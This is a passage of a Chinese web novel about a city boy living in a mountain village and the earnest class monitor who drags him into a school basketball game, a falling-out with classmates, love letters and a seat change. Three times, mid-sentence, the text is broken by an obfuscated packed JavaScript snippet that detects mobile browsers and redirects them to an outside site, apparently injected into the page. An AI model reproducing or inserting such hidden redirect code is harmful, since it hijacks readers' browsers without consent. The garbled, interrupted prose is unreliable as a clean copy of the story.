“真的。”许思睿调动毕生演技,露出了一个格外真诚的眼神,“真真的,比珍珠还真。” 这个理由貌似成功说服了她,她沉吟片刻,叹气道:“……好吧,不会打篮球,确实没办法。” 他心里一喜,刚想说这个办法居然这么奏效,看来以后可以常用,就见祝婴宁从身后摸出另一张报名表,对他说:“既然参加不了篮球比赛,那你就报名参加女生组的跳皮筋吧。” 18. 破冰 “……你开什么玩笑?” 祝婴宁淡定地安慰他:“不用担心,篮球速成不了,但皮筋很容易速成,放学后我会抽时间教你的。” “这是重点吗!?”许思睿指着皮筋比赛报名表上偌大的“女生”两个字,“你不觉得这才是重点吗?” “哦,你别介意,男生女生只是个参考分类而已。”她依然表现得从容镇定,“你不参加篮球比赛,我们班总得有人顶上吧?所以我会代替你参加篮球比赛的。但是一人只能报名一个比赛,我一走,皮筋那边就缺人了,既然你不会打篮球,只好麻烦你和我交换一下,你替我去跳皮筋。” “?” 许思睿哑口无言。 他当然大可以同她争论,说自己既不会参加篮球比赛,也不会参加那什么幺蛾子跳皮筋,她想参加什么是她的事,他没有任何义务顶替她上场。但他非常怀疑这番争论是否有意义。争论总得双方逻辑一致才能进行,否则无异于鸡同鸭讲,对牛弹琴。 毫无疑问,他们是鸡和鸭,牛和琴。 许思睿想了想,还是把嘴巴闭上了。 只是,嘴巴可以闭上,耳朵却没法闭上。他不打算和祝婴宁浪费口舌,不代表她也不打算同他较真。 祝婴宁再次发挥出她的洗脑神功。 晚上躺在炕上,听着身边嗡嗡嗡的声音,许思睿第一次憎恨起自己的性别。要是他是个女的,他就可以无所顾忌地和旁边这只蚊子互相扯头发掐胳膊,狠狠打上一架,用武力决出口舌的胜负,而不用顾虑着对方的性别,生生躺在床上忍受此等酷刑。 祝婴宁的念经很有效果,当晚许思睿就做了个梦,梦见自己化身为美猴王,头上箍着个金灿灿且不断缩紧的紧箍咒,而身穿袈裟的祝婴宁盘腿坐在一边,慈悲地垂眸:“悟空,师傅也很为难呐。” 做了一晚上噩梦的后果就是,第二天醒来,上次未消的黑眼圈变得更严重了。 他恍恍惚惚踱步出去,看到罪魁祸首竟神清气爽地蹲在地上刷牙。 为什么?凭什么? 看到她这么有活力,许思睿感觉自己的心理都快扭曲了。 他走过去,蹲在她身边,阴恻恻地说:“我答应你。” “嗯?”她含着口泡沫,偏头看向他,想了想,先将泡沫吐掉了,漱了两下口,高兴地笑,“你想通了?” 许思睿扯着嘴角回她一个皮笑肉不笑:“你别后悔就好。” “怎么会?我当然不会后悔。”祝婴宁说,“那今天放学后我教你跳皮筋吧。” “……”许思睿险些一头栽倒,“我答应的是打篮球!” ** 报名表交上去后,陈斌在课堂上确认了一遍参赛的人员,问大家是否有异议。许思睿也要参加比赛这件事让大家颇感讶异,但没人说什么。 比赛定在下周,放学后祝婴宁建议他和另外两个参赛的男生一起练习一下,明确位置和战术,他却说不用。他肯参加比赛在祝婴宁看来已经是一大进步了,她不敢逼他太紧,怕适得其反,只好随他去了。 于是一直到比赛当天,许思睿才知道自己的队友及对手是谁。 队友没什么好说的,一个健壮男,一个文弱男,前者多半是自愿报名的,后者怎么看都像是凑不齐人数被人赶鸭子上架,至于对手,则远远出乎许思睿的意料,他在对手班级里看到了周一和他一起升旗的升旗手,名字叫周越山。 现在是下午最后一节课。这几天正处于升温期,气温从十几度骤升为三十度,经过了一天高温的洗礼,即使站在十米开外,周越山身上的汗酸味也熏得他头晕。 全校学生——小学也好,初中也好——此时全都聚在操场周围,兴致勃勃地围观初中部的篮球赛。说是初中部,其实只有初一两个班级、初二一个班级、总共三个班级参赛,一节课的时间就可以比完。 学校的学生不多,才几百号人,但此刻全部围在操场上,摩肩接踵,熙熙攘攘,一打眼看去,还挺像那么回事的。 许思睿掰了掰手指,原地做起了准备运动。 他不爱运动,体能也一般,会打篮球纯粹是因为许正康和周天澜从小就重视德智体美劳全面发展,在他还小的时候送他参加过各式各样的运动培训班。虽然这些运动很快都因为他沉迷游戏而荒废了,但他现有的半吊子水平应付一个校赛还是马马虎虎过得去的。三对三的篮球赛由街头篮球发展而来,规则比较自由,恰好给他提供了发挥的空间。 比赛开始前,健壮男林凯生走过来问他:“你打中锋?” “都可以啊。”许思睿表现得很随和。 “行,那你中锋,我前锋,他后卫。”健壮男指了指身后局促的文弱男魏禾。 魏禾赶紧摆手给他们打预防针:“我就是个摆设,主要还得靠你俩得分。” 林凯生安慰他:“你记住我教你的就行,拿到球以后第一时间把球传给我,不要运球,不要投篮,也别整那些虚头巴脑的假动作。” “……”许思睿顿时开始担忧起这支临时组建的球队的水平。 抛硬币决定了球权后,比赛正式开始。 ** 另一边,祝婴宁正在进行跳皮筋比赛。 跳皮筋在教学楼后的空地上进行,相较于对抗性强、观赏性高的篮球比赛,皮筋这边可谓冷冷清清,除了参赛者本身,就只有参赛者的朋友和身为裁判的老师稀稀拉拉在附近捧场。 隔着一栋教学楼,操场那不断传来尖叫和嘘声,祝婴宁心神不宁,生怕那些嘘声是朝着许思睿去的。可惜皮筋比赛没法马上脱身,等她参加完比赛,如愿拿到第一名,并匆匆忙忙赶往前头操场时,篮球比赛已经进行到了白热化阶段,据围观学生说,许思睿所在的队伍正在和周越山所在的队伍争夺冠军。 祝婴宁挤进人群,先踮起脚尖朝计分板上瞥了一眼,15:16,他们15,周越山那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543191|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边16,还好还好,分差很小。 再竖起耳朵听了听周围学生的助威声,发现助威声无一例外是喊给许思睿的,悬着的心这才慢慢沉了下去。 然而心脏还没沉到原位,她就发现了一件匪夷所思的事—— 嘘声也是朝着许思睿去的。 ……怎么回事?他是怎么做到的? 她这才看向球场,视线准确地捕捉到了球场上许思睿的身影。 天气热了以后,大家都换成了短袖,露肤度一高,他的白皮肤在一众肤色黝黑的同龄人里就更引人注目了,像一捧凝白的冬雪,在阳光下熠熠生辉。 祝婴宁望过去时,球正好落在他手里。 他退到两分球线外,身体微微后倾,手腕轻巧一抬。 篮球在他修长的手指间就像儿童玩具,以一个优美的抛物线飞出去,在半空中划出一道弯弧。 咚。 完美入框。 15:16霎时逆转成17:16,尖叫和嘘声四起。 祝婴宁仔细分辨了一下,发现喝倒彩的基本都是周越山班里的学生。 比赛时支持己方队伍很正常,但通常不会发展到喝对手倒彩的程度。她皱着眉头看了会球场上的比赛,这才发现问题所在。 很简单,问题的关键就是许思睿的打法。 他的打法太招仇恨了。 随心所欲、以自我为中心、完全不顾他人死活——和他本人的性格如出一辙。 他热衷的只有投篮,而且看不上一分球,只爱站在边角线上投两分球,偶尔心血来潮进行篮下防守,但大多数时候都对敌方的进攻和拦截采取消极回避态度,极力避免任何主动或被动的肢体接触。尤其是对周越山,许思睿就差把“我有洁癖,我嫌你臭”写在脸上了,每次周越山冲上来防他,他都会立刻把球让给对方,不朝前突破就算了,居然还倒退着往回跑,悠哉悠哉看手里的球被对方截断。 这种溢于言表的嫌恶之情,只要不是傻子,都能感受得出来。周越山明显被他惹毛了,脸色沉得比煤炭还黑。而队友这边,林凯生同样被许思睿气得不轻,没办法,摊上一个完全不和人对抗,眼睁睁看着己方丢分还无动于衷的队友,是个正常人都忍不住要生气。 球场上气氛紧张且微妙,大致可以分为三派,一派是周越山和林凯生这种会打球的,每个人头脑上都盘旋着一股山雨欲来的低气压,一派是魏禾这种不会打球的,晕晕乎乎搞不清楚状况,只希望篮球千万别传到自己手里,还有一派是许思睿自己,整个球场上就他一人最悠闲,好像不是在打篮球,而是在逛商场,大家比拼得热火朝天大汗淋漓时,只有他在一旁插着兜清爽地走来走去。 不要说林凯生周越山了,就是祝婴宁在场下看着,也有点想冲上去打他。 但要说他毫无贡献吧,却也有失偏颇。他不仅有贡献,贡献还很大。 只要投篮,许思睿必定百发百中。 19. 最烂的结局 三人篮球没有三分线,只有两分线,许思睿每次出手都是两分球,光这一招就足够拉风了。篮球是一项讲究配合的集体运动,但是在外行人眼里,运球、传球、防守……这些显然都不如直接投中一颗球更能激起观众的肾上腺素。再加上许思睿长得人模狗样,运动又在此基础上为他覆上了一层迷人的滤镜,饶是祝婴宁这种了解他恶劣秉性的人都不得不承认他在球场上的魅力,更不要说其他人了。 尖叫渐渐盖过嘘声,排山倒海,气势磅礴。 汗珠是碎浪,乌发如潮涌,少年猎猎作响的衣摆像海面上迎风起伏的白鸥。 记分牌上的数字化身为两条缠斗的鱼,互相咬紧对方的尾巴。 当计分增加到19:20时,林凯生突然举手叫了一次暂停。 祝婴宁隐隐有种不好的预感,她了解班上的同学,林凯生和魏禾的心态看起来似乎都要崩了。 裁判应允了他的要求,但三人比赛的暂停时间只有30秒,气氛依然紧迫。许思睿插着兜晃过去,嗤笑道:“暂停啥呀,一鼓作气比完不就好了。” 林凯生抹了把下巴上的汗,恶狠狠瞪向他,脸上青筋鼓鼓:“你猜我为什么要叫暂停!?许思睿,你能不能好好打,对面从16到20这四分都是你送的,你再送我们就完了!” 许思睿摊开手,朝他毫不在意地笑:“可是我们从15到19这四分也都是我投的啊?” “……你什么意思?”林凯生瞬间炸了,怀疑许思睿在阴阳怪气,霎时气得脸红脖子粗,伸手就揪住了他的衣领,“你意思是我们都是累赘是吗?就你牛逼?!就你能得分?” 虽然是被拽着的那个,但许思睿气定神闲,看起来反而比林凯生更有压迫感,他无谓道:“我有这么说吗?你非要这样理解,我也没办法。” 魏禾在一旁看得干着急,抬起手试图劝架:“哎,你们别吵了,暂停时间就快结束了,咱们商讨下对策吧……” 然后就像是为了应和他的话,他才说完,裁判就吹哨了—— 暂停结束,比赛继续。 魏禾苦着脸,只想找块冻豆腐一头撞死。 和他们这边剑拔弩张的氛围不同,周越山那边利用暂停时间商讨出了对策,再次上场时,每个人都显得胸有成竹。 魏禾心理素质不行,他一看这阵仗腿就软了,再一看记分牌上相差无几的分数,以及同班同学们期待的眼神,双腿越发抖得像在筛糠。 “拿到球记得第一时间传给我。”林凯生经过他身边时低声提醒他。 “哦哦……好。”魏禾应得魂不守舍。 和爱出风头的林凯生和周越山等人不同,魏禾一点都不希望球传到自己手里。他害怕成为制胜的关键,害怕承载全班同学的希望却又让大家失望。与其在万众瞩目下搞砸重要一击,还不如当个透明人,不引人注目,不被人指责,不被任何人惦记——这就是魏禾的想法。 所以比赛再度开始后,他一直在外圈漫无目的地跑来跑去,试图让自己看起来很忙,同时又避开纷争的核心。 但这副摸鱼的姿态很快被人瞧出了端倪,同班男生集体朝他大喊:“魏禾,你在那跑来跑去干嘛呢!赶紧上去抢球啊!” “我……” “快啊!你没看人许思睿都上去了吗!” 魏禾定睛一瞧,靠,还真是!悠闲了一整场比赛的许思睿似乎打定主意在最后时刻发力,竟然一反常态冲了上去,和周越山对峙起来。 许思睿那边除了周越山本人,还有一个对手队员在他周围协防,林凯生也被一个球员困住了,眼下只有魏禾无人防守。 “快上啊!”大家又开始催他。 魏禾被逼无奈,只好冲了上去。 他完全不知道自己在干什么,只知道一番天旋地转后,球竟然真的被他抢到了手上。 更可怕的是,即便球已经到了他手上,也依然没人过来防他。 周越山和另一个队员把许思睿拦得死死的,林凯生也分身乏术,只有他面前空无一人,门户洞开。对手显然料定了他不会投篮,只会传球,打算把他仅有的两个传球对象拦死。 他下意识看向了林凯生,却见林凯生身旁的对手冲他虎视眈眈,那表情就像在说:“传啊,有胆就传呗,看看会不会被我拦下来。” 怎么办?怎么办?! 班上同学大声嘘他:“你特么倒是自己投啊!魏禾,投啊!你持球要超时了,快点儿!” 自己投?怎么可能!魏禾对自己的投篮命中率有数,知道自己十次里只有一次能中,还是踩的狗屎运中的,更何况是现在这种压力巨大的场面,能投中才是有鬼。他不想当罪人,只想赶紧把手上这个烫手山芋传出去,去看林凯生,只见林凯生脸都急红了,额上热汗涔涔,就差大喊一声:“别磨叽了,快传给我!” 对,对,传给林凯生……只要按照他的吩咐传给他就行了。 然而不知道为什么,身体仿佛有自己的想法,在传球前的那一秒,他情不自禁看向了右边的许思睿。 和周围躁动的人比起来,许思睿的反应极其淡定。 他完全不着急。 即使被周越山等人死死围着,脸上也丝毫不见紧张焦灼的痕迹,一双天生带笑弧的桃花眼懒懒散散望向他这边。 魏禾觉得许思睿身上有种迥异于所有人的气质,就像头顶上方蓝蓝的那片天,一望无际,遥不可及,既傲慢,又莫名令人感到安心。 是的,安心。 也许是许思睿今天百发百中的表现给他吃了定心丸,也许是他那股满不在乎的态度可以主观曲解为胸有成竹,魏禾莫名觉得,只要把球传给许思睿,这场比赛他们一定可以获胜。 但是,林凯生那边…… 短短一秒内,他头脑中闪过无数考量,快到自己都捕捉不到自己的想法。最后身体替意识做出了决定,他冲向林凯生,作势要将球传给他,在所有对手都倾身扑向他时,他却迅速扭身将球传给了许思睿。 “魏禾!!” 林凯生在他身后发出一声不可置信的暴喝。 接下来的一切都发生在电光火石间。球腾空那一瞬,周越山毫不犹豫地下蹲起跳,如一座大山铺天盖地压下来,眼看就要触到篮球边缘,与此同时,他背后猛然探出一只白皙的手掌,在一片混乱的尖叫声中,手的主人成功截下篮球,在身体落地前一秒飞快调整成单脚踩在两分线外的姿势,手臂发力,手腕轻轻一带,行云流水开始投篮。 篮球再度腾空,沿着完美的抛物线向上飞跃,精准落入球筐。 ——原本该是这样。 可出乎所有人意料的是,在许思睿投篮那一瞬间,有人从侧面冲出来,当机立断把他的球盖了。 盖他的不是别人,正是林凯生。 场上场下所有人都愣住了,尖叫和嘘声戛然而止。 千钧一发之际,周越山率先回过神,带过篮球,三步上篮,起手一个暴扣。 轰的一声巨响。 像被大炮炸了一样,本就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543192|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破破烂烂的球筐差点被他轰下来。 篮球精准入框,裁判吹哨,他所在的班级当即爆发出一串胜利的欢呼。 而另一边,所有人都还在发怔,不论是场上的魏禾,还是场下的同学们,都很难相信刚才发生了什么。 直到许思睿无语地笑了一声,转身朝林凯生竖起中指,大家才纷纷从游离状态中回神。 “傻*。” 许思睿不仅竖中指,还风轻云淡骂了句脏话。 林凯生气得脸歪嘴斜,抡起拳头朝他冲了过去。 眼看拳头就要挥到许思睿脸上,一只细细的胳膊忽然从下方伸出来,牢牢扼住了他的手腕。林凯生一低头,撞入视线的便是祝婴宁沉冷的脸。 “住手。” 她轻声说,声量不大,却透着一股不容置疑的威严。 林凯生尤在气头上,恨不得当场和许思睿干一架,只是顾念到祝婴宁站在面前,才没有继续扑上去。 “……你给我等着。” 他甩开祝婴宁的手,朝着许思睿撩了句狠话,这才转身离去,打算去找魏禾算账。 魏禾和林凯生是朋友,祝婴宁并不担心他会对魏禾怎样,顶多照胸口来两拳,或者骂几句出出气就算完了,真正让她忧心的是他和许思睿之间的矛盾。 这简直是最烂的结局了。 ** 输了比赛,还是以这么微妙的理由输掉的,班上的气氛一言难尽,祝婴宁的心情也很沉重。 倒是身为当事人之一的许思睿表现得豁达,过了最初那阵气头,他瞬间没事人一样,甚至还反过来问她干嘛愁眉苦脸:“看上去丑死了。” “我现在真的后悔让你参加比赛了。”她说。 “现在知道还不算晚,下次有类似的事别再来烦我就好。”他哼笑道。 她哭丧着脸:“我觉得比起所谓的下次,这次的事该怎么处理更严峻。” 按照祝婴宁朴素的价值观,这场比赛,许思睿和林凯生都有问题。许思睿的问题在于球风不好,完全不与队友沟通配合,丢分最多的是他,得分最多的也是他,但总的来说,功大于过。林凯生的问题在于意气用事,将个人的心理不平衡殃及到了集体荣誉上。如果要让她说句公道话,她觉得林凯生问题更大。 可这件事没法简单依照她的个人意愿定夺,因为林凯生在班上人缘很好。虽然客观来看,是林凯生冲撞了许思睿才造成了如今的结果,但比起根据结果判定是非,班上同学也许更倾向于从原因入手判定是非。而造成林凯生暴走的原因,毫无疑问就是许思睿打球时吊儿郎当的态度。 许思睿今后在班上的生活会怎样,她不敢细想。 一直到晚上躺到炕上睡觉了,祝婴宁依然忧心忡忡。 她左思右想,越想越觉得自己才是罪魁祸首。都怪她没事非要许思睿参加什么比赛,要是当初尊重他的意愿,不就没这些事了么? 最后她经受不住良心的煎熬,爬起来打算和许思睿讨论一下他今后该怎么办,定睛一看,却发现这人已经睡着了,只剩她自己一个人对着天花板上的蜘蛛网唉声叹气。 ** 祝婴宁提心吊胆了好几天,生怕许思睿被人霸凌。 没想到在这之前,发生了另一件更令她头疼的事。 篮球比赛结束两天后,在回家的路上,许思睿忽然将一叠纸片递给了她。 “这是什么?”她顺手接了过来。 许思睿意味不明地笑了笑:“你自己看看呗。” 20. 滥好人 纸片约莫四五张,每一张的形状和颜色都不太一样,有叠成千纸鹤的,有用彩带仔仔细细扎起来的,还有带着香味的碎花纸。 祝婴宁下意识顺着许思睿的话拆开了其中一张,直到看清纸片第一行娟秀的字迹,写着“许思睿同学”,她才意识到这是什么,倒吸一口冷气,啪的一声,迅速将纸片合上了。 “是我们班的?” “外班的。”许思睿懒洋洋地一扬眉,拉长语调,意味深长笑道,“怎么样啊班长,这就是你要的破冰效果?” “你……”她既惊吓又尴尬,先是回头瞥了眼摄制组,见他们离得远,没有拍到这边,于是放低声音,结结巴巴道,“你不该把这些拿给我看的。” 山里的女孩对待情窦初开的爱情普遍羞涩胆小,不知花了多大勇气才敢把情书拿给许思睿,祝婴宁觉得贸然偷窥别人心意的行为未免太小人了。她对着那沓纸片默默忏悔,把它们重新叠好,想要还给许思睿,他却说:“你处理吧。” “啊?”她惊道,“这是写给你的,怎么能交给我处理?” 许思睿就啧了一声,像是觉得很麻烦似的,把纸片接过来,随手揉了揉就往兜里揣。 这副随意到堪称漫不经心的态度让祝婴宁心里警铃大作,本来得知有人给他写情书就够让她头疼了,要是一个处理不好,伤害到对方的感情,激化了同学之间的矛盾……祝婴宁想想都感到棘手。 她忍不住追上去问许思睿:“你打算怎么处理?” 他头也没回,一边走一边答:“丢掉呗。” “丢掉!?”她大吃一惊,“丢垃圾桶里?” “不然丢地上?”他用看白痴的眼神斜了她一眼。 “我不是这个意思……” “还是你希望我接受她们?” “当然不是!我们这的女生很单纯的,你千万不要玩弄她们的感情!”她立刻肃穆起脸庞。 玩弄感情这个说法让许思睿非常不爽,可扭头一看祝婴宁一脸护崽子的老母鸡的表情,他又觉得有些好笑。 这位护崽心切的鸡妈妈在他身旁叽叽喳喳:“我是想说……怎么可以就这样随便丢掉呢?好歹是大家对你的心意……” 许思睿被她逗笑了,他干脆停下脚步,转过身来看着她:“怎么?难道我还得买几个相框把它们裱起来挂在墙上?我让你帮我处理,你不要,我自己处理,你又嫌处理得不够好,你到底想怎么样祝婴宁?” 他一停下来,摄制组的人都好奇地看了过来,祝婴宁害怕引人耳目,只好推着他往前走,说:“我只是觉得你可以处理得温和点,不要伤害到同学们的感情。” “温和点?”许思睿哼笑道,“被拒绝哪有什么温和不温和的区别,结果不都一样惨?难道你被你喜欢的男生温和地拒绝了,就可以改变被他拒绝的事实了?你过后想起来就不会哭?比起拖泥带水给人希望,还不如利索点快刀斩乱麻,长痛不如短痛才是最大的善良。” 祝婴宁惊呆了。她一边觉得许思睿这说法未免太不近人情,一边却又觉得有点道理。 许思睿看她满脸纠结不忍的样子,不由得叹了口气:“你说说要怎么温和点处理?” 祝婴宁这才回过神,挠了挠脸,窘迫道:“……其实我也不清楚。” 她既没有喜欢过谁,也没有被谁喜欢过,在这方面完全白纸一张。 想了想,她说:“你给我点时间,让我思考一下,我一定能想出一个不伤害她们感情的办法。” 许思睿便盯了她一会儿,无所谓地一耸肩:“随便你。” ** 思考一件完全没经历过的事,对祝婴宁来说难度超标,她想了一晚上,成功把自己急上火了,第二天起床时嘴上长了个泡。 山里有一种草可以治疗口疮,需要把叶子嚼碎敷在嘴唇上,起效很快,就是不太美观。 当她顶着个绿嘴唇出现在学校时,每一个见到她的人都会憋着笑问一句:“班长,你长疮了?” 她用绿嘴唇坦然回答:“是啊。” 可惜绿嘴唇带给大家的快乐没能持续多久,早读结束后,班里的气氛忽然变得怪怪的。祝婴宁起身收作业,不经意间抬起头,恰好看到林凯生隔着几张桌子冲许思睿的小胖墩同桌使了个眼色。 小胖墩名叫周天瑞,接触到林凯生的示意后,他显得格外焦躁不安,又是摸脖子又是挠下巴,活像个多动症患者,经历了一番天人交战才站起来,径直朝教师办公室走去。 祝婴宁抱着作业本快步跟了上去。 周天瑞走进办公室,在陈斌面前转了几圈。 “你干嘛呢?”陈斌从备课教案里抬起头。 “老师,我有事跟你说……”周天瑞吞吞吐吐道。 陈斌笑了一声,把教案挪开,摆出谈心的姿态:“好啊,有什么事想跟我分享?” “分享谈不上。”周天瑞僵硬地笑笑,咽了口唾沫,说,“算是请求吧……就是,那个……嗯……老师,我想换个同桌。” 祝婴宁刚进来就听到了这句话,不止她吃惊,连陈斌也露出了讶然的神色,顿了顿,疑惑道:“为什么呢?你和许思睿处不来?” 周天瑞硬着头皮点了点头:“对,我觉得他这人特别不好相处。” “这……”陈斌也是第一次面临这种状况,他试图起到一个人民教师该起到的调和作用,温声劝道,“许思睿确实比较慢热,但他平时也没有打扰到你呀,对不对?你觉得他不好相处,可能是因为你们还不熟,等以后慢慢处熟了,就……” “反正我就是跟他处不来。”周天瑞赶紧打断他,一股脑控诉道,“他虽然没有直接打扰我,但他上课老是睡觉,严重打击了我学习的积极性,我不想让他带坏我。老师,我想换个更爱学习的同桌。” 陈斌左右为难。 对那场篮球赛引发的矛盾,他并非全然不知情。周天瑞算是班上男生里脾气温和的了,要是把许思睿调去和林凯生等人同桌,那才是真正的世界大战。如果周天瑞执意要换走,出于班级和谐考量,许思睿就只能先单坐着。 在十四五岁这个敏感的年纪,自己一人被迫坐单桌,怎么看都不利于学生的心理健康。虽然陈斌知道许思睿多半不介意——他对这里的一切有一种近乎淡漠的不走心。但是身为教师,他还是难以对这种状况放任不管,甚至推波助澜。 正想再劝劝周天瑞,前方就插进一道清亮的嗓音:“老师,我愿意和许思睿一起坐。” 陈斌循声看去,看到祝婴宁抱着叠作业本站在周天瑞身后,腰背挺得笔直。 初中讲究避嫌,为了防止学生早恋,班上基本都是男男同桌,女女同桌,没有男女同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“!!!” 祝婴宁惊得下巴都要掉了,左右看了看,确保这句话没被其他人听到,才咬牙怒道,“怎么可能,你疯了吧?!” “那你干嘛突然坐我旁边?” 许思睿的表情就像在说“不是吧,你该不会爱上我了吧”,恶心得祝婴宁起了一胳膊的鸡皮疙瘩。她狠狠抖了抖,又不想说实话惹他伤心,只好含糊其辞道:“我坐过来当然是因为……我是班长,我得监督你学习。” 许思睿噗的一声笑了出来。 他笑得前仰后合,好像听到了天大的笑话。祝婴宁被他笑得心里发毛,忍着尴尬问:“有什么好笑的?你笑什么?” 许思睿这才稍微直起腰,抹着眼角笑出来的眼泪,说:“行了,我开玩笑的。” “什么?” 他收起笑容,淡淡道:“你坐过来是因为小胖墩不想和我同桌吧。” 祝婴宁没想到他居然这么敏感,惊慌失措之下,舌头打了个绊:“哪、哪有,是你想多了。” 许思睿不置可否,只是托着下颌看着她微笑,过了许久,才眯起眼睛,轻声评价道:“……滥好人。” 21. 喜欢 祝婴宁家的日常活动规律又枯燥,吃完晚饭,她会把奶奶推到屋外纳凉,然后返回来写作业,刘桂芳负责收拾碗筷、整理衣服,许思睿则坐在炕上看陈斌借给他的课外书。 为了防止借出去的书本有去无回,陈斌模仿图书馆的借书制度弄了借书卡。每本书都有一式两份的借书卡,上面清楚地标注了借过的人、借阅日期以及归还日期。 许思睿发现几乎每本书的借书卡上都有祝婴宁借阅过的记录。 一开始有这个发现纯属偶然,他不甚在意,但在借过了十几本书,上面却通通有祝婴宁借阅过的记录以后,许思睿的好胜心被勾起来了,他特意在陈斌书架上那堆书里翻出了一本祝婴宁没借过的《卡拉马佐夫兄弟》,一有空就抱着啃。 祝婴宁出于好奇问过他几回书这本书讲什么,他总是神神叨叨地说:“你等我看完再借去看不就知道了?” 这种幼稚的较劲让她哭笑不得。 然而今天有些特殊。 晚饭过后,祝婴宁没看到许思睿,往常总是被他捧在手里啃的大部头《卡拉马佐夫兄弟》也被他随意扔在角落里。由于白天刚刚经历换座位的风波,许思睿的敏感出乎她的意料,她担心他是不是因为这件事心情不好,于是写完作业后特意出门转了一圈,想找找他在哪。 杨吉等人窝在棚子底下打扑克,天气变热以后,他们在棚子上挂了一圈蚊帐防蚊。祝婴宁撩开蚊帐走进去,问他们有没有看到许思睿。 杨吉叼着烟,摇摇头,朝周围的工作人员看了一圈:“你们有谁见到许思睿了吗?” 其中一人随口应道:“几分钟前见过,他跟我要了点宝贝就走了。” 祝婴宁不懂他在说什么,呆愣愣重复道:“宝贝?” 大家心照不宣地笑起来,笑得她越发困惑不解。杨吉朝她摆摆手,说:“好孩子不用知道。这小子怕黑,估计跑不远,你要实在想找他,可以去村头那看看。” 村头有棵树,树下常有人纳凉。祝婴宁觉得有理,于是道了谢,转身朝村头走去。 几个老人坐在村头的树下摇着扇子侃大山,祝婴宁过去转了转,没见到许思睿。 她正感到纳闷,就见大树右边的石墩子上蹲着个人影,人影指间火星明灭。 好奇地走过去,映入眼帘的是许思睿俊美的五官。他眯着眼睛,黑色眼珠被烟雾涤染出一层朦胧雾气,像画到最后墨水不足的丹青。 “许思睿,你……” 她大吃一惊,声音断在喉咙里。 他竟然在抽烟! 祝婴宁的人生可以用板板正正来形容,只要是老师交代做的事,她都会竭尽所能做到尽善尽美,只要是老师不让做的事,她始终抱着“头可断、血可流、志不屈”的精神,坚决对不良诱惑说不。 从小到大,她连上学迟到都没有过,更遑论抽烟了。未成年抽烟在她眼里堪比自甘堕落的开始。她惊愕地指着他手里燃亮的烟头,半天说不出话。 许思睿也发现了她,但他表现得坦然又淡定,不像抽烟被抓包,倒像在吃Pocky,骨节分明的手指松垮垮夹着香烟,整个人散发出一股懒劲儿,像一只翻肚皮休息的大猫。 祝婴宁语塞了半天,才蹲到他身边,语重心长地劝:“吸烟有害健康。” 他照旧用看白痴的眼神甩了她一眼,没应声。 这段沉默本意只是沉默,祝婴宁却觉得许思睿不说话一定是有什么难言之隐,说不定心里已经难过死了,才需要借助尼古丁消愁,她咽了咽唾沫,小心翼翼地开口,用上毕生最温柔的语气开解道: “……是因为学校的事吗?你千万不要多想,我和周天瑞换座位是我主动提出来的,因为我觉得你成绩好,和你坐一块有助于我学习进步,不是因为周天瑞不想跟你坐。他可愿意和你一起坐了,是我硬逼着他跟我换的。还有篮球赛的事……林凯生那人吧,就是比较冲动,他也不是针对你,他就是有点嫉妒你……” 话还没说完,许思睿就侧过头,盯着她淡淡地笑了一声。 “呆子。” 他嘴唇一碰,故意朝她脸上吐了个烟圈。 烟圈扑到她脸上时化成浓郁白烟,她挥了挥手,一边咳,一边思考着规劝的语言,还没组织出措辞,便见许思睿从石墩子上轻轻松松一跃而下,头也不回地往她家的方向走。 她快步跟上去,缀在他身后,刚想开口,他便快速转身,伸出食指在她唇上嘘了一下,说:“就抽这一次,不许啰嗦我。” 他食指上有烟草味,还有股香皂的香味,明明用的是同一款香皂,但祝婴宁总觉得许思睿闻起来比她们家任何一个人更香。也许是因为他有洁癖,洗手的次数比她们家任何一个人要多。他的手指和她的嘴唇隔着一毫米的距离,并没有真正挨上。但就是这么一毫米,比真正碰到带给她的感受更加微妙,像被小猫小狗细细的胡须隔空轻挠着,嘴唇上方痒痒的酥酥的,犹如过电一般。 她并不适应这种暧昧的状况,干巴巴地哦了一声。 许思睿这才抽回手,把剩下的香烟凑到唇边,又吸了两口,这才将烟蒂碾灭在另一颗石墩子上,确保上面没火也没烟了,才丢进一旁的铁皮垃圾桶里。 这垃圾桶准确来说不是公用的,而是村里一户人家摆在门口自用的。但扔在垃圾桶里总比扔地上强,祝婴宁眨了眨眼,决定装瞎。 ** 许思睿抽烟这一幕给祝婴宁留下了很深的印象,她私自将他这种行为判定为遭受欺凌有苦难说,心里越发着急,觉得得把缓和他和全班同学的关系提上日程,当作头等大事对待。 不过,还没等她想出具体方案,第二天上学时,新的麻烦就来了。 事情还得从早读前说起。 当她和许思睿一前一后就要进校园时,周越山忽然从他们斜后方杀出来,一改前两天看到许思睿时阴沉的表情,龇着一口大白牙傻笑着,朝他热情问候道:“早啊!” 别说许思睿本人感到莫名其妙了,就连祝婴宁也被他反常的态度弄得一头雾水。 